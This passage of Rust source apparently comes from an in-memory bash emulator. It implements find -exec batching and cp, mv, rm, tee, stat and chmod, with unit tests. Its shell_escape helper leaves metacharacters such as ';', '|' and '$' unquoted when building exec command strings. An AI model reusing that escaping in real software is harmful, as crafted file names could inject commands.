{\n                            out.exit_code = r.exit_code;\n                        }\n                        r.exit_code == 0\n                    }\n                    Err(e) => {\n                        out.stderr.push_str(&format!(\"find: exec error: {}\\n\", e));\n                        out.exit_code = 1;\n                        false\n                    }\n                }\n            } else {\n                out.stderr.push_str(\"find: exec callback not available\\n\");\n                out.exit_code = 1;\n                false\n            }\n        }\n        FindExpr::ExecBatch(_) => {\n            out.batch_paths.push(display_path.to_string());\n            true\n        }\n        FindExpr::Not(inner) => !eval_find(ctx, abs_path, display_path, inner, out),\n        FindExpr::And(a, b) => {\n            if !eval_find(ctx, abs_path, display_path, a, out) {\n                return false;\n            }\n            eval_find(ctx, abs_path, display_path, b, out)\n        }\n        FindExpr::Or(a, b) => {\n            if eval_find(ctx, abs_path, display_path, a, out) {\n                return true;\n            }\n            eval_find(ctx, abs_path, display_path, b, out)\n        }\n    }\n}\n\n/// Execute a batched -exec + command with all collected paths.\nfn execute_batched(\n    ctx: &CommandContext,\n    expr: &Option<FindExpr>,\n    paths: &[String],\n    out: &mut FindOutput,\n) {\n    if let Some(expr) = expr {\n        collect_batch_cmds(ctx, expr, paths, out);\n    }\n}\n\nfn collect_batch_cmds(\n    ctx: &CommandContext,\n    expr: &FindExpr,\n    paths: &[String],\n    out: &mut FindOutput,\n) {\n    match expr {\n        FindExpr::ExecBatch(cmd_parts) => {\n            if let Some(exec) = ctx.exec {\n                let has_placeholder = cmd_parts.iter().any(|p| p == \"{}\");\n                let cmd_str = if has_placeholder {\n                    let all_paths = paths\n                        .iter()\n                        .map(|p| shell_escape(p))\n                        .collect::<Vec<_>>()\n                        .join(\" \");\n                    cmd_parts\n                        .iter()\n                        .map(|p| {\n                            if p == \"{}\" {\n                                all_paths.clone()\n                            } else {\n                                shell_escape(p)\n                            }\n                        })\n                        .collect::<Vec<_>>()\n                        .join(\" \")\n                } else {\n                    let mut parts: Vec<String> =\n                        cmd_parts.iter().map(|p| shell_escape(p)).collect();\n                    parts.extend(paths.iter().map(|p| shell_escape(p)));\n                    parts.join(\" \")\n                };\n                match exec(&cmd_str, None) {\n                    Ok(r) => {\n                        out.stdout.push_str(&r.stdout);\n                        out.stderr.push_str(&r.stderr);\n                        if r.exit_code != 0 {\n                            out.exit_code = r.exit_code;\n                        }\n                    }\n                    Err(e) => {\n                        out.stderr.push_str(&format!(\"find: exec error: {}\\n\", e));\n                        out.exit_code = 1;\n                    }\n                }\n            }\n        }\n        FindExpr::And(a, b) | FindExpr::Or(a, b) => {\n            collect_batch_cmds(ctx, a, paths, out);\n            collect_batch_cmds(ctx, b, paths, out);\n        }\n        FindExpr::Not(inner) => {\n            collect_batch_cmds(ctx, inner, paths, out);\n        }\n        _ => {}\n    }\n}\n\nfn shell_escape(s: &str) -> String {\n    if s.contains(|c: char| c.is_whitespace() || c == '\\'' || c == '\"' || c == '\\\\') {\n        format!(\"'{}'\", s.replace('\\'', \"'\\\\''\"))\n    } else {\n        s.to_string()\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::commands::{CommandContext, CommandResult, ExecCallback, VirtualCommand};\n    use crate::interpreter::ExecutionLimits;\n    use crate::network::NetworkPolicy;\n    use crate::vfs::{InMemoryFs, VirtualFs};\n    use std::collections::HashMap;\n    use std::sync::Arc;\n\n    fn setup() -> (\n        Arc<InMemoryFs>,\n        HashMap<String, String>,\n        ExecutionLimits,\n        NetworkPolicy,\n    ) {\n        let fs = Arc::new(InMemoryFs::new());\n        fs.write_file(Path::new(\"/a.txt\"), b\"hello\\n\").unwrap();\n        fs.write_file(Path::new(\"/b.md\"), b\"world\\n\").unwrap();\n        fs.mkdir_p(Path::new(\"/dir1\")).unwrap();\n        fs.write_file(Path::new(\"/dir1/c.txt\"), b\"foo\\n\").unwrap();\n        fs.mkdir_p(Path::new(\"/emptydir\")).unwrap();\n        (\n            fs,\n            HashMap::new(),\n            ExecutionLimits::default(),\n            NetworkPolicy::default(),\n        )\n    }\n\n    fn ctx_with_exec<'a>(\n        fs: &'a dyn VirtualFs,\n        env: &'a HashMap<String, String>,\n        limits: &'a ExecutionLimits,\n        network_policy: &'a NetworkPolicy,\n        stdin: &'a str,\n        exec: Option<ExecCallback<'a>>,\n    ) -> CommandContext<'a> {\n        CommandContext {\n            fs,\n            cwd: \"/\",\n            env,\n            variables: None,\n            stdin,\n            stdin_bytes: None,\n            limits,\n            network_policy,\n            exec,\n            shell_opts: None,\n        }\n    }\n\n    fn simple_exec(\n        cmd: &str,\n        _env: Option<&std::collections::HashMap<String, String>>,\n    ) -> Result<CommandResult, crate::error::RustBashError> {\n        // Simple exec that handles \"echo ...\" and \"cat ...\" for testing.\n        // Understands single-quoted arguments for proper shell_join handling.\n        let parts = parse_simple_args(cmd);\n        if parts.is_empty() {\n            return Ok(CommandResult::default());\n        }\n        match parts[0].as_str() {\n            \"echo\" => {\n                let output = parts[1..].join(\" \");\n                Ok(CommandResult {\n                    stdout: format!(\"{}\\n\", output),\n                    ..Default::default()\n                })\n            }\n            \"cat\" => {\n                let output = parts[1..].join(\" \");\n                Ok(CommandResult {\n                    stdout: format!(\"[cat:{}]\\n\", output),\n                    ..Default::default()\n                })\n            }\n            _ => Ok(CommandResult {\n                stdout: format!(\"[{}]\\n\", cmd),\n                ..Default::default()\n            }),\n        }\n    }\n\n    /// Parse a command string respecting single quotes.\n    fn parse_simple_args(cmd: &str) -> Vec<String> {\n        let mut args = Vec::new();\n        let mut current = String::new();\n        let mut in_single_quote = false;\n        let chars = cmd.chars();\n\n        for c in chars {\n            if in_single_quote {\n                if c == '\\'' {\n                    in_single_quote = false;\n                } else {\n                    current.push(c);\n                }\n            } else if c == '\\'' {\n                in_single_quote = true;\n            } else if c.is_whitespace() {\n                if !current.is_empty() {\n                    args.push(std::mem::take(&mut current));\n                }\n            } else {\n                current.push(c);\n            }\n        }\n        if !current.is_empty() {\n            args.push(current);\n        }\n        args\n    }\n\n    // ── xargs tests ──\n\n    #[test]\n    fn xargs_default_echo() {\n        let (fs, env, limits, np) = setup();\n        let exec_fn = simple_exec;\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"a\\nb\\nc\\n\", Some(&exec_fn));\n        let r = XargsCommand.execute(&[], &c);\n        assert_eq!(r.exit_code, 0);\n        assert_eq!(r.stdout, \"a b c\\n\");\n    }\n\n    #[test]\n    fn xargs_with_replace() {\n        let (fs, env, limits, np) = setup();\n        let exec_fn = simple_exec;\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"a\\nb\\nc\\n\", Some(&exec_fn));\n        let r = XargsCommand.execute(\n            &[\"-I\".into(), \"{}\".into(), \"echo\".into(), \"item: {}\".into()],\n            &c,\n        );\n        assert_eq!(r.exit_code, 0);\n        assert_eq!(r.stdout, \"item: a\\nitem: b\\nitem: c\\n\");\n    }\n\n    #[test]\n    fn xargs_with_max_args() {\n        let (fs, env, limits, np) = setup();\n        let exec_fn = simple_exec;\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"1\\n2\\n3\\n\", Some(&exec_fn));\n        let r = XargsCommand.execute(&[\"-n\".into(), \"1\".into(), \"echo\".into(), \"num:\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert_eq!(r.stdout, \"num: 1\\nnum: 2\\nnum: 3\\n\");\n    }\n\n    #[test]\n    fn xargs_null_delimited() {\n        let (fs, env, limits, np) = setup();\n        let exec_fn = simple_exec;\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"a\\0b\\0c\", Some(&exec_fn));\n        let r = XargsCommand.execute(&[\"-0\".into(), \"echo\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert_eq!(r.stdout, \"a b c\\n\");\n    }\n\n    #[test]\n    fn xargs_custom_delimiter() {\n        let (fs, env, limits, np) = setup();\n        let exec_fn = simple_exec;\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"a,b,c\", Some(&exec_fn));\n        let r = XargsCommand.execute(&[\"-d\".into(), \",\".into(), \"echo\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert_eq!(r.stdout, \"a b c\\n\");\n    }\n\n    // ── find tests ──\n\n    #[test]\n    fn find_all_from_root() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"\", None);\n        let r = FindCommand.execute(&[\"/\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"/a.txt\"));\n        assert!(r.stdout.contains(\"/b.md\"));\n        assert!(r.stdout.contains(\"/dir1\"));\n        assert!(r.stdout.contains(\"/dir1/c.txt\"));\n    }\n\n    #[test]\n    fn find_by_name_pattern() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"\", None);\n        let r = FindCommand.execute(&[\"/\".into(), \"-name\".into(), \"*.txt\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"/a.txt\"));\n        assert!(r.stdout.contains(\"/dir1/c.txt\"));\n        assert!(!r.stdout.contains(\"/b.md\"));\n    }\n\n    #[test]\n    fn find_type_directory() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"\", None);\n        let r = FindCommand.execute(&[\"/\".into(), \"-type\".into(), \"d\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"/\\n\") || r.stdout.starts_with(\"/\\n\"));\n        assert!(r.stdout.contains(\"/dir1\"));\n        assert!(r.stdout.contains(\"/emptydir\"));\n        assert!(!r.stdout.contains(\"/a.txt\"));\n    }\n\n    #[test]\n    fn find_type_file() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"\", None);\n        let r = FindCommand.execute(&[\"/\".into(), \"-type\".into(), \"f\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"/a.txt\"));\n        assert!(r.stdout.contains(\"/b.md\"));\n        assert!(!r.stdout.contains(\"\\n/\\n\"));\n        assert!(!r.stdout.contains(\"\\n/dir1\\n\"));\n    }\n\n    #[test]\n    fn find_maxdepth() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"\", None);\n        let r = FindCommand.execute(&[\"/\".into(), \"-maxdepth\".into(), \"1\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"/a.txt\"));\n        assert!(r.stdout.contains(\"/dir1\"));\n        assert!(!r.stdout.contains(\"/dir1/c.txt\"));\n    }\n\n    #[test]\n    fn find_mindepth() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"\", None);\n        let r = FindCommand.execute(&[\"/\".into(), \"-mindepth\".into(), \"1\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        // Should not include root itself\n        let lines: Vec<&str> = r.stdout.lines().collect();\n        assert!(!lines.contains(&\"/\"));\n        assert!(r.stdout.contains(\"/a.txt\"));\n    }\n\n    #[test]\n    fn find_empty() {\n        let (fs, env, limits, np) = setup();\n        fs.write_file(Path::new(\"/empty.txt\"), b\"\").unwrap();\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"\", None);\n        let r = FindCommand.execute(&[\"/\".into(), \"-empty\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"/empty.txt\"));\n        assert!(r.stdout.contains(\"/emptydir\"));\n    }\n\n    #[test]\n    fn find_not_name() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"\", None);\n        let r = FindCommand.execute(\n            &[\n                \"/\".into(),\n                \"-type\".into(),\n                \"f\".into(),\n                \"-not\".into(),\n                \"-name\".into(),\n                \"*.txt\".into(),\n            ],\n            &c,\n        );\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"/b.md\"));\n        assert!(!r.stdout.contains(\"/a.txt\"));\n        assert!(!r.stdout.contains(\"/dir1/c.txt\"));\n    }\n\n    #[test]\n    fn find_exec_each() {\n        let (fs, env, limits, np) = setup();\n        let exec_fn = simple_exec;\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"\", Some(&exec_fn));\n        let r = FindCommand.execute(\n            &[\n                \"/\".into(),\n                \"-name\".into(),\n                \"*.txt\".into(),\n                \"-exec\".into(),\n                \"cat\".into(),\n                \"{}\".into(),\n                \";\".into(),\n            ],\n            &c,\n        );\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"[cat:/a.txt]\"));\n        assert!(r.stdout.contains(\"[cat:/dir1/c.txt]\"));\n    }\n\n    #[test]\n    fn find_or_expression() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"\", None);\n        let r = FindCommand.execute(\n            &[\n                \"/\".into(),\n                \"-name\".into(),\n                \"*.txt\".into(),\n                \"-o\".into(),\n                \"-name\".into(),\n                \"*.md\".into(),\n            ],\n            &c,\n        );\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"/a.txt\"));\n        assert!(r.stdout.contains(\"/b.md\"));\n        assert!(r.stdout.contains(\"/dir1/c.txt\"));\n    }\n\n    #[test]\n    fn find_nonexistent_path() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"\", None);\n        let r = FindCommand.execute(&[\"/nonexistent\".into()], &c);\n        assert_eq!(r.exit_code, 1);\n        assert!(r.stderr.contains(\"No such file or directory\"));\n    }\n\n    #[test]\n    fn find_default_path_is_dot() {\n        let (fs, env, limits, np) = setup();\n        let c = ctx_with_exec(&*fs, &env, &limits, &np, \"\", None);\n        let r = FindCommand.execute(&[\"-type\".into(), \"f\".into()], &c);\n        assert_eq!(r.exit_code, 0);\n        assert!(r.stdout.contains(\"a.txt\"));\n    }\n}\n","/home/user/src/commands/file_ops.rs":"//! File operation commands: cp, mv, rm, tee, stat, chmod, ln\n\nuse super::CommandMeta;\nuse crate::commands::{CommandContext, CommandResult};\nuse crate::vfs::NodeType;\nuse std::path::{Path, PathBuf};\n\nfn resolve_path(path_str: &str, cwd: &str) -> PathBuf {\n    if path_str.starts_with('/') {\n        PathBuf::from(path_str)\n    } else {\n        PathBuf::from(cwd).join(path_str)\n    }\n}\n\n// ── cp ───────────────────────────────────────────────────────────────\n\npub struct CpCommand;\n\nstatic CP_META: CommandMeta = CommandMeta {\n    name: \"cp\",\n    synopsis: \"cp [-rR] SOURCE... DEST\",\n    description: \"Copy files and directories.\",\n    options: &[(\"-r, -R\", \"copy directories recursively\")],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for CpCommand {\n    fn name(&self) -> &str {\n        \"cp\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&CP_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut recursive = false;\n        let mut opts_done = false;\n        let mut operands: Vec<&str> = Vec::new();\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 {\n                for c in arg[1..].chars() {\n                    match c {\n                        'r' | 'R' => recursive = true,\n                        _ => {}\n                    }\n                }\n            } else {\n                operands.push(arg);\n            }\n        }\n\n        if operands.len() < 2 {\n            return CommandResult {\n                stderr: \"cp: missing file operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let dest_str = operands[operands.len() - 1];\n        let sources = &operands[..operands.len() - 1];\n        let dest_path = resolve_path(dest_str, ctx.cwd);\n        let dest_is_dir = ctx\n            .fs\n            .stat(&dest_path)\n            .map(|m| m.node_type == NodeType::Directory)\n            .unwrap_or(false);\n\n        if sources.len() > 1 && !dest_is_dir {\n            return CommandResult {\n                stderr: format!(\"cp: target '{}' is not a directory\\n\", dest_str),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for src_str in sources {\n            let src_path = resolve_path(src_str, ctx.cwd);\n            let target = if dest_is_dir {\n                let name = Path::new(src_str)\n                    .file_name()\n                    .map(|n| n.to_string_lossy().to_string())\n                    .unwrap_or_else(|| src_str.to_string());\n                dest_path.join(name)\n            } else {\n                dest_path.clone()\n            };\n\n            match ctx.fs.stat(&src_path) {\n                Ok(meta) if meta.node_type == NodeType::Directory => {\n                    if !recursive {\n                        stderr.push_str(&format!(\n                            \"cp: -r not specified; omitting directory '{}'\\n\",\n                            src_str\n                        ));\n                        exit_code = 1;\n                        continue;\n                    }\n                    if let Err(e) = copy_dir_recursive(ctx, &src_path, &target) {\n                        stderr.push_str(&format!(\"cp: {}\\n\", e));\n                        exit_code = 1;\n                    }\n                }\n                Ok(_) => {\n                    if let Err(e) = ctx.fs.copy(&src_path, &target) {\n                        stderr.push_str(&format!(\"cp: cannot copy '{}': {}\\n\", src_str, e));\n                        exit_code = 1;\n                    }\n                }\n                Err(e) => {\n                    stderr.push_str(&format!(\"cp: cannot stat '{}': {}\\n\", src_str, e));\n                    exit_code = 1;\n                }\n            }\n        }\n\n        CommandResult {\n            stdout: String::new(),\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\nfn copy_dir_recursive(ctx: &CommandContext, src: &Path, dest: &Path) -> Result<(), String> {\n    ctx.fs.mkdir_p(dest).map_err(|e| e.to_string())?;\n\n    let entries = ctx.fs.readdir(src).map_err(|e| e.to_string())?;\n    for entry in entries {\n        let src_child = src.join(&entry.name);\n        let dest_child = dest.join(&entry.name);\n        match entry.node_type {\n            NodeType::Directory => {\n                copy_dir_recursive(ctx, &src_child, &dest_child)?;\n            }\n            _ => {\n                ctx.fs\n                    .copy(&src_child, &dest_child)\n                    .map_err(|e| e.to_string())?;\n            }\n        }\n    }\n    Ok(())\n}\n\n// ── mv ───────────────────────────────────────────────────────────────\n\npub struct MvCommand;\n\nstatic MV_META: CommandMeta = CommandMeta {\n    name: \"mv\",\n    synopsis: \"mv SOURCE... DEST\",\n    description: \"Move (rename) files and directories.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for MvCommand {\n    fn name(&self) -> &str {\n        \"mv\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&MV_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut opts_done = false;\n        let mut operands: Vec<&str> = Vec::new();\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 {\n                // ignore flags like -f, -i\n            } else {\n                operands.push(arg);\n            }\n        }\n\n        if operands.len() < 2 {\n            return CommandResult {\n                stderr: \"mv: missing file operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let dest_str = operands[operands.len() - 1];\n        let sources = &operands[..operands.len() - 1];\n        let dest_path = resolve_path(dest_str, ctx.cwd);\n        let dest_is_dir = ctx\n            .fs\n            .stat(&dest_path)\n            .map(|m| m.node_type == NodeType::Directory)\n            .unwrap_or(false);\n\n        if sources.len() > 1 && !dest_is_dir {\n            return CommandResult {\n                stderr: format!(\"mv: target '{}' is not a directory\\n\", dest_str),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for src_str in sources {\n            let src_path = resolve_path(src_str, ctx.cwd);\n            let target = if dest_is_dir {\n                let name = Path::new(src_str)\n                    .file_name()\n                    .map(|n| n.to_string_lossy().to_string())\n                    .unwrap_or_else(|| src_str.to_string());\n                dest_path.join(name)\n            } else {\n                dest_path.clone()\n            };\n\n            if let Err(e) = ctx.fs.rename(&src_path, &target) {\n                stderr.push_str(&format!(\"mv: cannot move '{}': {}\\n\", src_str, e));\n                exit_code = 1;\n            }\n        }\n\n        CommandResult {\n            stdout: String::new(),\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\n// ── rm ───────────────────────────────────────────────────────────────\n\npub struct RmCommand;\n\nstatic RM_META: CommandMeta = CommandMeta {\n    name: \"rm\",\n    synopsis: \"rm [-rf] FILE...\",\n    description: \"Remove files or directories.\",\n    options: &[\n        (\n            \"-r, -R\",\n            \"remove directories and their contents recursively\",\n        ),\n        (\"-f\", \"ignore nonexistent files, never prompt\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for RmCommand {\n    fn name(&self) -> &str {\n        \"rm\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&RM_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut recursive = false;\n        let mut force = false;\n        let mut opts_done = false;\n        let mut operands: Vec<&str> = Vec::new();\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 {\n                for c in arg[1..].chars() {\n                    match c {\n                        'r' | 'R' => recursive = true,\n                        'f' => force = true,\n                        _ => {}\n                    }\n                }\n            } else {\n                operands.push(arg);\n            }\n        }\n\n        if operands.is_empty() {\n            if force {\n                return CommandResult::default();\n            }\n            return CommandResult {\n                stderr: \"rm: missing operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for op in operands {\n            let path = resolve_path(op, ctx.cwd);\n\n            match ctx.fs.stat(&path) {\n                Ok(meta) if meta.node_type == NodeType::Directory => {\n                    if !recursive {\n                        stderr.push_str(&format!(\"rm: cannot remove '{}': Is a directory\\n\", op));\n                        exit_code = 1;\n                        continue;\n                    }\n                    if let Err(e) = ctx.fs.remove_dir_all(&path) {\n                        stderr.push_str(&format!(\"rm: cannot remove '{}': {}\\n\", op, e));\n                        exit_code = 1;\n                    }\n                }\n                Ok(_) => {\n                    if let Err(e) = ctx.fs.remove_file(&path) {\n                        stderr.push_str(&format!(\"rm: cannot remove '{}': {}\\n\", op, e));\n                        exit_code = 1;\n                    }\n                }\n                Err(_) => {\n                    if !force {\n                        stderr.push_str(&format!(\n                            \"rm: cannot remove '{}': No such file or directory\\n\",\n                            op\n                        ));\n                        exit_code = 1;\n                    }\n                }\n            }\n        }\n\n        CommandResult {\n            stdout: String::new(),\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\n// ── tee ──────────────────────────────────────────────────────────────\n\npub struct TeeCommand;\n\nstatic TEE_META: CommandMeta = CommandMeta {\n    name: \"tee\",\n    synopsis: \"tee [-a] [FILE ...]\",\n    description: \"Read from stdin and write to stdout and files.\",\n    options: &[(\"-a\", \"append to the given files, do not overwrite\")],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for TeeCommand {\n    fn name(&self) -> &str {\n        \"tee\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&TEE_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut append = false;\n        let mut opts_done = false;\n        let mut files: Vec<&str> = Vec::new();\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 {\n                for c in arg[1..].chars() {\n                    if c == 'a' {\n                        append = true;\n                    }\n                }\n            } else {\n                files.push(arg);\n            }\n        }\n\n        let data = ctx.stdin;\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for file in &files {\n            let path = resolve_path(file, ctx.cwd);\n            let result = if append {\n                ctx.fs.append_file(&path, data.as_bytes())\n            } else {\n                ctx.fs.write_file(&path, data.as_bytes())\n            };\n            if let Err(e) = result {\n                stderr.push_str(&format!(\"tee: {}: {}\\n\", file, e));\n                exit_code = 1;\n            }\n        }\n\n        CommandResult {\n            stdout: data.to_string(),\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\n// ── stat ─────────────────────────────────────────────────────────────\n\npub struct StatCommand;\n\nstatic STAT_META: CommandMeta = CommandMeta {\n    name: \"stat\",\n    synopsis: \"stat FILE...\",\n    description: \"Display file status.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for StatCommand {\n    fn name(&self) -> &str {\n        \"stat\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&STAT_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let mut opts_done = false;\n        let mut operands: Vec<&str> = Vec::new();\n\n        for arg in args {\n            if !opts_done && arg == \"--\" {\n                opts_done = true;\n                continue;\n            }\n            if !opts_done && arg.starts_with('-') && arg.len() > 1 {\n                // ignore flags\n            } else {\n                operands.push(arg);\n            }\n        }\n\n        if operands.is_empty() {\n            return CommandResult {\n                stderr: \"stat: missing operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let mut stdout = String::new();\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for op in operands {\n            let path = resolve_path(op, ctx.cwd);\n            match ctx.fs.stat(&path) {\n                Ok(meta) => {\n                    let type_str = match meta.node_type {\n                        NodeType::File => \"regular file\",\n                        NodeType::Directory => \"directory\",\n                        NodeType::Symlink => \"symbolic link\",\n                    };\n                    stdout.push_str(&format!(\"  File: {}\\n\", op));\n                    stdout.push_str(&format!(\"  Size: {}\\tType: {}\\n\", meta.size, type_str));\n                    stdout.push_str(&format!(\"  Mode: ({:04o}/-)\\n\", meta.mode));\n                }\n                Err(e) => {\n                    stderr.push_str(&format!(\"stat: cannot stat '{}': {}\\n\", op, e));\n                    exit_code = 1;\n                }\n            }\n        }\n\n        CommandResult {\n            stdout,\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\n// ── chmod ────────────────────────────────────────────────────────────\n\npub struct ChmodCommand;\n\nenum ParsedChmodMode {\n    Absolute(u32),\n    Symbolic { add: bool, mask: u32 },\n}\n\nstatic CHMOD_META: CommandMeta = CommandMeta {\n    name: \"chmod\",\n    synopsis: \"chmod MODE FILE...\",\n    description: \"Change file mode bits.\",\n    options: &[],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for ChmodCommand {\n    fn name(&self) -> &str {\n        \"chmod\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&CHMOD_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let operands: Vec<&str> = if args.first().map(|arg| arg.as_str()) == Some(\"--\") {\n            args[1..].iter().map(|arg| arg.as_str()).collect()\n        } else {\n            args.iter().map(|arg| arg.as_str()).collect()\n        };\n\n        if operands.len() < 2 {\n            return CommandResult {\n                stderr: \"chmod: missing operand\\n\".into(),\n                exit_code: 1,\n                ..Default::default()\n            };\n        }\n\n        let mode_str = operands[0];\n        let parsed_mode = match parse_chmod_mode(mode_str) {\n            Some(mode) => mode,\n            None => {\n                return CommandResult {\n                    stderr: format!(\"chmod: invalid mode: '{}'\\n\", mode_str),\n                    exit_code: 1,\n                    ..Default::default()\n                };\n            }\n        };\n\n        let mut stderr = String::new();\n        let mut exit_code = 0;\n\n        for file in &operands[1..] {\n            let path = resolve_path(file, ctx.cwd);\n            let mode = match parsed_mode {\n                ParsedChmodMode::Absolute(mode) => mode,\n                ParsedChmodMode::Symbolic { add, mask } => {\n                    let current = match ctx.fs.stat(&path) {\n                        Ok(meta) => meta.mode,\n                        Err(e) => {\n                            stderr.push_str(&format!(\n                                \"chmod: cannot change mode of '{}': {}\\n\",\n                                file, e\n                            ));\n                            exit_code = 1;\n                            continue;\n                        }\n                    };\n                    if add { current | mask } else { current & !mask }\n                }\n            };\n            if let Err(e) = ctx.fs.chmod(&path, mode) {\n                stderr.push_str(&format!(\"chmod: cannot change mode of '{}': {}\\n\", file, e));\n                exit_code = 1;\n            }\n        }\n\n        CommandResult {\n            stdout: String::new(),\n            stderr,\n            exit_code,\n            stdout_bytes: None,\n        }\n    }\n}\n\nfn parse_chmod_mode(mode_str: &str) -> Option<ParsedChmodMode> {\n    if let Ok(mode) = u32::from_str_radix(mode_str, 8) {\n        return Some(ParsedChmodMode::Absolute(mode));\n    }\n\n    let op_pos = mode_str.find(['+', '-'])?;\n    let (who, op_and_perms) = mode_str.split_at(op_pos);\n    let (add, perms) = if let Some(perms) = op_and_perms.strip_prefix('+') {\n        (true, perms)\n    } else if let Some(perms) = op_and_perms.strip_prefix('-') {\n        (false, perms)\n    } else {\n        return None;\n    };\n    if perms.is_empty() {\n        return None;\n    }\n\n    let mut user = false;\n    let mut group = false;\n    let mut other = false;\n    if who.is_empty() || who == \"a\" {\n        user = true;\n        group = true;\n        other = true;\n    } else {\n        for c in who.chars() {\n            match c {\n                'u' => user = true,\n                'g' => group = true,\n                'o' => other = true,\n                _ => return None,\n            }\n        }\n    }\n\n    let mut mask = 0;\n    for perm in perms.chars() {\n        match perm {\n            'r' => {\n                if user {\n                    mask |= 0o400;\n                }\n                if group {\n                    mask |= 0o040;\n                }\n                if other {\n                    mask |= 0o004;\n                }\n            }\n            'w' => {\n                if user {\n                    mask |= 0o200;\n                }\n                if group {\n                    mask |= 0o020;\n                }\n                if other {\n                    mask |= 0o002;\n                }\n            }\n            'x' => {\n                if user {\n                    mask |= 0o100;\n                }\n                if group {\n                    mask |= 0o010;\n                }\n                if other {\n                    mask |= 0o001;\n                }\n            }\n            's' => {\n                if user {\n                    mask |= 0o4000;\n                }\n                